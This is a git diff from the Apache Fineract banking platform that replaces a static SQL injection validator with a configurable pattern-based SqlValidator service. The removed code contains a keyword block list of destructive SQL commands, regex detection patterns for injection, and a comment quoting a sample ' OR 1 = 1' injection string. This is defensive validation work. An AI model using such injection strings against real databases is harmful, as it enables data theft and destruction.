-     * @return {@link SearchParameters} object
-     */
-    public static SearchParameters fromReportMailingJob(final Integer offset, final Integer limit, final String orderBy,
-            final String sortOrder) {
-        final Integer maxLimitAllowed = getCheckedLimit(limit);
-
-        return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, null, null, null, null,
-                null, false);
-    }
 }
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/exception/SqlValidationException.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/exception/SqlValidationException.java
new file mode 100644
index 0000000..e6c8c78
--- /dev/null
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/exception/SqlValidationException.java
@@ -0,0 +1,30 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.fineract.infrastructure.security.exception;
+
+import lombok.Getter;
+import org.apache.fineract.infrastructure.core.exception.AbstractPlatformDomainRuleException;
+
+@Getter
+public class SqlValidationException extends AbstractPlatformDomainRuleException {
+
+    public SqlValidationException(final String message) {
+        super("error.msg.sql.validation", "SQL validation error: " + message);
+    }
+}
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlValidator.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlValidator.java
new file mode 100644
index 0000000..113f7d2
--- /dev/null
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlValidator.java
@@ -0,0 +1,28 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.fineract.infrastructure.security.service;
+
+import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
+
+public interface SqlValidator {
+
+    void validate(String statement) throws SqlValidationException;
+
+    void validate(String profile, String statement) throws SqlValidationException;
+}
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java
index cf5c2ee..f16ecd6 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java
@@ -31,25 +31,22 @@
 import java.util.Map;
 import java.util.Objects;
 import java.util.Set;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.lang3.StringUtils;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.beans.factory.annotation.Autowired;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.springframework.jdbc.core.JdbcTemplate;
 import org.springframework.jdbc.datasource.DataSourceUtils;
 import org.springframework.stereotype.Component;
 
+@Slf4j
+@RequiredArgsConstructor
 @Component
 public class ColumnValidator {
 
-    private static final Logger LOG = LoggerFactory.getLogger(ColumnValidator.class);
+    private final SqlValidator sqlValidator;
     private final JdbcTemplate jdbcTemplate;
 
-    @Autowired
-    public ColumnValidator(final JdbcTemplate jdbcTemplate) {
-        this.jdbcTemplate = jdbcTemplate;
-    }
-
     @SuppressFBWarnings(value = "NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE", justification = "TODO: fix this!")
     private void validateColumn(Map<String, Set<String>> tableColumnMap) {
         Connection connection = null;
@@ -87,7 +84,7 @@
                 columns.add(rs.getString("column_name"));
             }
         } catch (SQLException e) {
-            LOG.error("Problem occurred in getTableColumns function", e);
+            log.error("Problem occurred in getTableColumns function", e);
         }
         return columns;
     }
@@ -97,7 +94,7 @@
             if (StringUtils.isBlank(condition)) {
                 continue;
             }
-            SQLInjectionValidator.validateSQLInput(condition);
+            sqlValidator.validate("column", condition);
             List<String> operator = new ArrayList<>(Arrays.asList("=", ">", "<", "> =", "< =", "! =", "!=", ">=", "<="));
             condition = condition.trim().replace("( ", "(").replace(" )", ")").toLowerCase();
             for (String op : operator) {
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/DefaultSqlValidator.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/DefaultSqlValidator.java
new file mode 100644
index 0000000..311473b
--- /dev/null
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/DefaultSqlValidator.java
@@ -0,0 +1,100 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.fineract.infrastructure.security.utils;
+
+import jakarta.annotation.PostConstruct;
+import java.util.Comparator;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.fineract.infrastructure.core.config.FineractProperties;
+import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
+import org.springframework.stereotype.Component;
+
+@Slf4j
+@RequiredArgsConstructor
+@Component
+public class DefaultSqlValidator implements SqlValidator {
+
+    private final FineractProperties properties;
+
+    private Map<String, Pattern> patterns = new LinkedHashMap<>();
+    private Map<String, FineractProperties.FineractSqlValidationProfileProperties> profiles = new LinkedHashMap<>();
+
+    private static final String MAIN_PROFILE = "main";
+
+    @PostConstruct
+    public void init() {
+        properties.getSqlValidation().getPatterns().forEach(pattern -> {
+            log.info("Setup SQL validation pattern: {}", pattern.getName());
+
+            patterns.put(pattern.getName(), Pattern.compile(pattern.getPattern(), Pattern.DOTALL));
+        });
+        properties.getSqlValidation().getProfiles().forEach(profile -> {
+            log.info("Setup SQL validation profile: {}", profile.getName());
+
+            profile.getPatternRefs()
+                    .sort(Comparator.comparing(FineractProperties.FineractSqlValidationPatternReferenceProperties::getOrder));
+
+            profiles.put(profile.getName(), profile);
+        });
+
+        // consistency checks
+
+        if (!profiles.containsKey(MAIN_PROFILE)) {
+            throw new IllegalStateException(
+                    "SQL validation profile 'main' missing. This validation profile is the default fallback and has to be provided. NOTE: YOU CANNOT DISABLE SQL VALIDATION!!!");
+        }
+
+        // the default profile needs at least one pattern reference
+        if (profiles.get(MAIN_PROFILE).getPatternRefs().isEmpty()) {
+            throw new IllegalStateException(
+                    "SQL Validation pattern references in profile 'main' are empty. Please make sure there is at least one reference available. NOTE: YOU CANNOT DISABLE SQL VALIDATION!!!");
+        }
+
+        // the default profile needs to be enabled
+        profiles.get(MAIN_PROFILE).setEnabled(true);
+    }
+
+    @Override
+    public void validate(final String statement) throws SqlValidationException {
+        validate(MAIN_PROFILE, statement);
+    }
+
+    @Override
+    public void validate(final String profile, final String statement) throws SqlValidationException {
+        if (StringUtils.isBlank(statement)) {
+            return;
+        }
+
+        for (var ref : profiles.getOrDefault(profile, profiles.get(MAIN_PROFILE)).getPatternRefs()) {
+            Matcher matcher = patterns.get(ref.getName()).matcher(statement);
+
+            if (matcher.matches()) {
+                log.warn("SQL validation error: >> {} <<", statement);
+                throw new SqlValidationException(String.format("invalid SQL statement (detected '%s' pattern)", ref.getName()));
+            }
+        }
+    }
+}
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLBuilder.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLBuilder.java
index 999f752..283e53b 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLBuilder.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLBuilder.java
@@ -28,8 +28,8 @@
  * Utility to assemble the WHERE clause of an SQL query without the risk of SQL injection.
  *
  * <p>
- * When using this utility instead of manually assembling SQL queries, then {@link SQLInjectionValidator} should not be
- * required anymore. (Correctly using this means only ever passing completely fixed String literals to .)
+ * When using this utility instead of manually assembling SQL queries, then {@link SqlValidator} should not be required
+ * anymore. (Correctly using this means only ever passing completely fixed String literals to .)
  *
  * @author Michael Vorburger <mike@vorburger.ch>
  */
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionException.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionException.java
index 3170bf8..36ff0d7 100644
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionException.java
+++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionException.java
@@ -21,6 +21,7 @@
 import java.sql.SQLException;
 import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
 
+@Deprecated
 public class SQLInjectionException extends PlatformApiDataValidationException {
 
     public SQLInjectionException() {
diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionValidator.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionValidator.java
deleted file mode 100644
index 74c540b..0000000
--- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionValidator.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/**
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements. See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership. The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * "License"); you may not use this file except in compliance
- * with the License. You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied. See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
-package org.apache.fineract.infrastructure.security.utils;
-
-import java.util.List;
-import java.util.StringTokenizer;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import org.apache.commons.lang3.StringUtils;
-
-public final class SQLInjectionValidator {
-
-    private SQLInjectionValidator() {
-
-    }
-
-    private static final String[] DDL_COMMANDS = { "create", "drop", "alter", "truncate", "comment", "sleep" };
-
-    private static final String[] DML_COMMANDS = { "select", "insert", "update", "delete", "merge", "upsert", "call" };
-
-    private static final String[] COMMENTS = { "--", "({", "/*", "#" };
-
-    private static final String SQL_PATTERN = "[a-zA-Z_=,\\-:'!><.?\"`% ()0-9*\n\r]*";
-
-    // TODO: see here https://rails-sqli.org for and
-    // https://larrysteinle.com/2011/02/20/use-regular-expressions-to-detect-sql-code-injection more examples
-    private static final List<String> INJECTION_PATTERNS = List.of("(?i).*[or|and]\s*[\"']?-1[\"']?\\s*(-*).*",
-            "(?i).*\\s+[\"']?(\\d+)[\"']?\\s*=\\s*[\"']?(\\1)[\"']?\\s*(-*).*");
-
-    public static void validateSQLInput(final String sqlSearch) {
-        if (StringUtils.isBlank(sqlSearch)) {
-            return;
-        }
-
-        String lowerCaseSQL = sqlSearch.toLowerCase();
-        List<String[]> commandsList = List.of(DDL_COMMANDS, DML_COMMANDS, COMMENTS);
-        validateSQLCommands(lowerCaseSQL, commandsList, String::contains);
-
-        patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
-    }
-
-    public static void validateAdhocQuery(final String sqlSearch) {
-        if (StringUtils.isBlank(sqlSearch)) {
-            return;
-        }
-
-        String lowerCaseSQL = sqlSearch.toLowerCase().trim();
-        validateSQLCommand(lowerCaseSQL, DDL_COMMANDS, String::startsWith);
-        validateSQLCommand(lowerCaseSQL, COMMENTS, String::contains);
-
-        // Removing the space before and after '=' operator
-        // String s = " \" OR 1 = 1"; For the cases like this
-        patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
-    }
-
-    public static void validateDynamicQuery(final String sqlSearch) {
-        if (StringUtils.isBlank(sqlSearch)) {
-            return;
-        }
-
-        String lowerCaseSQL = sqlSearch.toLowerCase();
-        List<String[]> commandsList = List.of(DDL_COMMANDS, DML_COMMANDS, COMMENTS);
-        validateSQLCommands(lowerCaseSQL, commandsList, String::equals);
-
-        // Removing the space before and after '=' operator
-        // String s = " \" OR 1 = 1"; For the cases like this
-        patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
-    }
-
-    private static void patternMatchSqlInjection(String sqlSearch, String lowerCaseSQL) {
-        // Removing the space before and after '=' operator
-        // String s = " \" OR 1 = 1"; For the cases like this
-        boolean injectionFound = false;
-
-        String inputSqlString = lowerCaseSQL.replaceAll("\\s*=\\s*", "=");
-
-        StringTokenizer tokenizer = new StringTokenizer(inputSqlString, " ");
-        while (tokenizer.hasMoreTokens()) {
-            String token = tokenizer.nextToken().trim();
-            if (token.equals("'")) {
-                if (tokenizer.hasMoreElements()) {
-                    String nextToken = tokenizer.nextToken().trim();
-                    if (!nextToken.equals("'")) {
-                        injectionFound = true;
-                        break;
-                    }
-                } else {
-                    injectionFound = true;
-                    break;
-                }
-            }
-            if (token.equals("\"")) {
-                if (tokenizer.hasMoreElements()) {
-                    String nextToken = tokenizer.nextToken().trim();
-                    if (!nextToken.equals("\"")) {
-                        injectionFound = true;
-                        break;
-                    }
-                } else {
-                    injectionFound = true;
-                    break;
-                }
-            } else if (token.indexOf('=') > 0) {
-                StringTokenizer operatorToken = new StringTokenizer(token, "=");
-                String operand = operatorToken.nextToken().trim();
-                if (!operatorToken.hasMoreTokens()) {
-                    injectionFound = true;
-                    break;
-                }
-                String value = operatorToken.nextToken().trim();
-                if (operand.equals(value)) {
-                    injectionFound = true;
-                    break;
-                }
-            }
-        }
-
-        if (injectionFound) {
-            throw new SQLInjectionException();
-        }
-
-        for (String injectionPattern : INJECTION_PATTERNS) {
-            Pattern pattern = Pattern.compile(injectionPattern);
-            Matcher matcher = pattern.matcher(sqlSearch);
-            if (matcher.matches()) {
-                throw new SQLInjectionException();
-            }
-        }
-
-        Pattern pattern = Pattern.compile(SQL_PATTERN);
-        Matcher matcher = pattern.matcher(sqlSearch);
-        if (!matcher.matches()) {
-            throw new SQLInjectionException();
-        }
-    }
-
-    private static void validateSQLCommand(String lowerCaseSQL, String[] commands, SQLCommandCondition condition) {
-        for (String command : commands) {
-            if (condition.checkCondition(lowerCaseSQL, command)) {
-                throw new SQLInjectionException();
-            }
-        }
-    }
-
-    private static void validateSQLCommands(String lowerCaseSQL, List<String[]> commandsList, SQLCommandCondition condition) {
-        for (String[] commands : commandsList) {
-            validateSQLCommand(lowerCaseSQL, commands, condition);
-        }
-    }
-}
diff --git a/fineract-core/src/main/java/org/apache/fineract/portfolio/search/data/AdHocQueryDataValidator.java b/fineract-core/src/main/java/org/apache/fineract/portfolio/search/data/AdHocQueryDataValidator.java
index 643e8f5..b52fedf 100644
--- a/fineract-core/src/main/java/org/apache/fineract/portfolio/search/data/AdHocQueryDataValidator.java
+++ b/fineract-core/src/main/java/org/apache/fineract/portfolio/search/data/AdHocQueryDataValidator.java
@@ -29,19 +29,23 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.lang3.StringUtils;
 import org.apache.fineract.infrastructure.core.data.ApiParameterError;
 import org.apache.fineract.infrastructure.core.data.DataValidatorBuilder;
 import org.apache.fineract.infrastructure.core.exception.InvalidJsonException;
 import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
 import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
-import org.springframework.beans.factory.annotation.Autowired;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.springframework.stereotype.Component;
 
+@Slf4j
+@RequiredArgsConstructor
 @Component
 public class AdHocQueryDataValidator {
 
+    private final SqlValidator sqlValidator;
     private final FromJsonHelper fromApiJsonHelper;
     private static final Set<String> AD_HOC_SEARCH_QUERY_REQUEST_DATA_PARAMETERS = new HashSet<>(Arrays.asList(
             AdHocQuerySearchConstants.entitiesParamName, AdHocQuerySearchConstants.loanStatusParamName,
@@ -66,11 +70,6 @@
             AdHocQuerySearchConstants.arrearsLoanStatusOption, AdHocQuerySearchConstants.closedLoanStatusOption,
             AdHocQuerySearchConstants.writeoffLoanStatusOption };
 
-    @Autowired
-    public AdHocQueryDataValidator(final FromJsonHelper fromApiJsonHelper) {
-        this.fromApiJsonHelper = fromApiJsonHelper;
-    }
-
     public void validateAdHocQueryParameters(final String json) {
 
         if (StringUtils.isBlank(json)) {
@@ -229,7 +228,7 @@
         String loanDateOption = null;
         if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.loanDateOptionParamName, element)) {
             loanDateOption = this.fromApiJsonHelper.extractStringNamed(AdHocQuerySearchConstants.loanDateOptionParamName, element);
-            SQLInjectionValidator.validateSQLInput(loanDateOption);
+            sqlValidator.validate(loanDateOption);
         }
 
         LocalDate loanFromDate = null;
@@ -252,7 +251,7 @@
         if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.outStandingAmountPercentageConditionParamName, element)) {
             outStandingAmountPercentageCondition = this.fromApiJsonHelper
                     .extractStringNamed(AdHocQuerySearchConstants.outStandingAmountPercentageConditionParamName, element);
-            SQLInjectionValidator.validateSQLInput(outStandingAmountPercentageCondition);
+            sqlValidator.validate(outStandingAmountPercentageCondition);
         }
 
         BigDecimal minOutStandingAmountPercentage = null;
@@ -283,7 +282,7 @@
         if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.outstandingAmountConditionParamName, element)) {
             outstandingAmountCondition = this.fromApiJsonHelper
                     .extractStringNamed(AdHocQuerySearchConstants.outstandingAmountConditionParamName, element);
-            SQLInjectionValidator.validateSQLInput(outstandingAmountCondition);
+            sqlValidator.validate(outstandingAmountCondition);
         }
 
         BigDecimal minOutstandingAmount = null;
diff --git a/fineract-core/src/main/java/org/apache/fineract/portfolio/search/service/SearchUtil.java b/fineract-core/src/main/java/org/apache/fineract/portfolio/search/service/SearchUtil.java
index d8dcbba..5a2d9c5 100644
--- a/fineract-core/src/main/java/org/apache/fineract/portfolio/search/service/SearchUtil.java
+++ b/fineract-core/src/main/java/org/apache/fineract/portfolio/search/service/SearchUtil.java
@@ -39,6 +39,8 @@
 import java.util.Map;
 import java.util.function.Predicate;
 import java.util.stream.Collectors;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.lang3.BooleanUtils;
 import org.apache.commons.lang3.StringUtils;
 import org.apache.fineract.infrastructure.core.data.ApiParameterError;
@@ -50,30 +52,34 @@
 import org.apache.fineract.infrastructure.core.service.database.JdbcJavaType;
 import org.apache.fineract.infrastructure.core.service.database.SqlOperator;
 import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.portfolio.search.data.ColumnFilterData;
 import org.apache.fineract.portfolio.search.data.FilterData;
 import org.springframework.jdbc.support.rowset.SqlRowSet;
+import org.springframework.stereotype.Component;
 
-public final class SearchUtil {
+@Slf4j
+@RequiredArgsConstructor
+@Component
+public class SearchUtil {
 
     public static final int DEFAULT_PAGE_SIZE = 50;
 
     private static final JsonParserHelper helper = new JsonParserHelper();
 
-    private SearchUtil() {}
+    private final SqlValidator sqlValidator;
 
     @NotNull
-    public static Map<String, ResultsetColumnHeaderData> mapHeadersToName(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders) {
+    public Map<String, ResultsetColumnHeaderData> mapHeadersToName(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders) {
         return columnHeaders.stream().collect(Collectors.toMap(ResultsetColumnHeaderData::getColumnName, e -> e));
     }
 
-    public static ResultsetColumnHeaderData findFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
+    public ResultsetColumnHeaderData findFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
             @NotNull Predicate<ResultsetColumnHeaderData> filter) {
         return columnHeaders.stream().filter(filter).findFirst().orElse(null);
     }
 
-    public static ResultsetColumnHeaderData getFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
+    public ResultsetColumnHeaderData getFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
             @NotNull Predicate<ResultsetColumnHeaderData> filter) {
         ResultsetColumnHeaderData filtered = findFiltered(columnHeaders, filter);
         if (filtered == null) {
@@ -82,8 +88,8 @@
         return filtered;
     }
 
-    public static void extractJsonResult(@NotNull SqlRowSet rowSet, @NotNull List<String> selectColumns,
-            @NotNull List<String> resultColumns, @NotNull List<JsonObject> results) {
+    public void extractJsonResult(@NotNull SqlRowSet rowSet, @NotNull List<String> selectColumns, @NotNull List<String> resultColumns,
+            @NotNull List<JsonObject> results) {
         JsonObject json = new JsonObject();
         for (int i = 0; i < selectColumns.size(); i++) {
             Object rowValue = rowSet.getObject(selectColumns.get(i));
@@ -115,15 +121,15 @@
     }
 
     @NotNull
-    public static List<String> validateToJdbcColumnNames(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
+    public List<String> validateToJdbcColumnNames(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
             boolean allowEmpty) {
         List<ResultsetColumnHeaderData> columnHeaders = validateToJdbcColumns(columns, headersByName, allowEmpty);
         return columnHeaders.stream().map(e -> e == null ? null : e.getColumnName()).toList();
     }
 
     @NotNull
-    public static List<ResultsetColumnHeaderData> validateToJdbcColumns(List<String> columns,
-            Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
+    public List<ResultsetColumnHeaderData> validateToJdbcColumns(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
+            boolean allowEmpty) {
         final List<ApiParameterError> errors = new ArrayList<>();
 
         List<ResultsetColumnHeaderData> result = new ArrayList<>();
@@ -140,13 +146,13 @@
         return result;
     }
 
-    public static String validateToJdbcColumnName(String column, Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
+    public String validateToJdbcColumnName(String column, Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
         ResultsetColumnHeaderData columnHeader = validateToJdbcColumn(column, headersByName, allowEmpty);
         return columnHeader == null ? null : columnHeader.getColumnName();
     }
 
-    public static ResultsetColumnHeaderData validateToJdbcColumn(String column,
-            @NotNull Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
+    public ResultsetColumnHeaderData validateToJdbcColumn(String column, @NotNull Map<String, ResultsetColumnHeaderData> headersByName,
+            boolean allowEmpty) {
         final List<ApiParameterError> errors = new ArrayList<>();
         ResultsetColumnHeaderData columnHeader = validateToJdbcColumnImpl(column, headersByName, errors, allowEmpty);
         if (!errors.isEmpty()) {
@@ -155,8 +161,8 @@
         return columnHeader;
     }
 
-    private static ResultsetColumnHeaderData validateToJdbcColumnImpl(String column,
-            @NotNull Map<String, ResultsetColumnHeaderData> headersByName, @NotNull List<ApiParameterError> errors, boolean allowEmpty) {
+    private ResultsetColumnHeaderData validateToJdbcColumnImpl(String column, @NotNull Map<String, ResultsetColumnHeaderData> headersByName,
+            @NotNull List<ApiParameterError> errors, boolean allowEmpty) {
         if (!allowEmpty && column == null) {
             errors.add(parameterErrorWithValue("error.msg.column.empty", "Column filter is empty", API_PARAM_COLUMN, null));
         }
@@ -173,9 +179,9 @@
         return columnHeader;
     }
 
-    public static boolean buildQueryCondition(List<ColumnFilterData> columnFilters, @NotNull StringBuilder where,
-            @NotNull List<Object> params, String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat,
-            String dateTimeFormat, Locale locale, boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
+    public boolean buildQueryCondition(List<ColumnFilterData> columnFilters, @NotNull StringBuilder where, @NotNull List<Object> params,
+            String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat, String dateTimeFormat, Locale locale,
+            boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
         if (columnFilters == null) {
             return false;
         }
@@ -192,7 +198,7 @@
         return added;
     }
 
-    public static boolean buildFilterCondition(ColumnFilterData columnFilter, @NotNull StringBuilder where, @NotNull List<Object> params,
+    public boolean buildFilterCondition(ColumnFilterData columnFilter, @NotNull StringBuilder where, @NotNull List<Object> params,
             String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat, String dateTimeFormat, Locale locale,
             boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
         String columnName = columnFilter.getColumn();
@@ -221,9 +227,8 @@
         return size > 0;
     }
 
-    public static void buildCondition(@NotNull String definition, JdbcJavaType columnType, @NotNull SqlOperator operator,
-            List<Object> values, @NotNull StringBuilder where, @NotNull List<Object> params, String alias,
-            @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
+    public void buildCondition(@NotNull String definition, JdbcJavaType columnType, @NotNull SqlOperator operator, List<Object> values,
+            @NotNull StringBuilder where, @NotNull List<Object> params, String alias, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
         int paramCount = values == null ? 0 : values.size();
         where.append(operator.formatPlaceholder(sqlGenerator, definition, paramCount, alias));
         if (values != null) {
@@ -231,13 +236,13 @@
         }
     }
 
-    public static Object parseJdbcColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
+    public Object parseJdbcColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
             String dateTimeFormat, Locale locale, boolean strict, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
         return columnHeader.getColumnType().toJdbcValue(sqlGenerator.getDialect(),
                 parseColumnValue(columnHeader, columnValue, dateFormat, dateTimeFormat, locale, strict, sqlGenerator), false);
     }
 
-    public static Object parseColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
+    public Object parseColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
             String dateTimeFormat, Locale locale, boolean strict, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
         JdbcJavaType colType = columnHeader.getColumnType();
         if (!colType.isStringType() || !columnHeader.isMandatory()) {
@@ -254,7 +259,7 @@
             return columnValue;
         }
         if (strict) {
-            SQLInjectionValidator.validateDynamicQuery(columnValue);
+            sqlValidator.validate(columnValue);
         }
 
         if (columnHeader.hasColumnValues()) {
@@ -314,7 +319,7 @@
         return columnValue;
     }
 
-    public static String camelToSnake(final String camelStr) {
+    public String camelToSnake(final String camelStr) {
         return camelStr == null ? null
                 : camelStr.replaceAll("([A-Z]+)([A-Z][a-z])", "$1_$2").replaceAll("([a-z])([A-Z])", "$1_$2").toLowerCase();
     }
diff --git a/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/api/JournalEntriesApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/api/JournalEntriesApiResource.java
index 48b655a..66018dd 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/api/JournalEntriesApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/accounting/journalentry/api/JournalEntriesApiResource.java
@@ -67,6 +67,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.glassfish.jersey.media.multipart.FormDataContentDisposition;
 import org.glassfish.jersey.media.multipart.FormDataParam;
 import org.springframework.stereotype.Component;
@@ -92,6 +93,7 @@
     private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
     private final BulkImportWorkbookService bulkImportWorkbookService;
     private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Consumes({ MediaType.APPLICATION_JSON })
@@ -147,8 +149,10 @@
             submittedOnDateTo = submittedOnDateToParam.getDate("submittedOnDateTo", dateFormat, locale);
         }
 
-        final SearchParameters searchParameters = SearchParameters.forJournalEntries(officeId, offset, limit, orderBy, sortOrder, loanId,
-                savingsId);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).loanId(loanId).savingsId(savingsId).build();
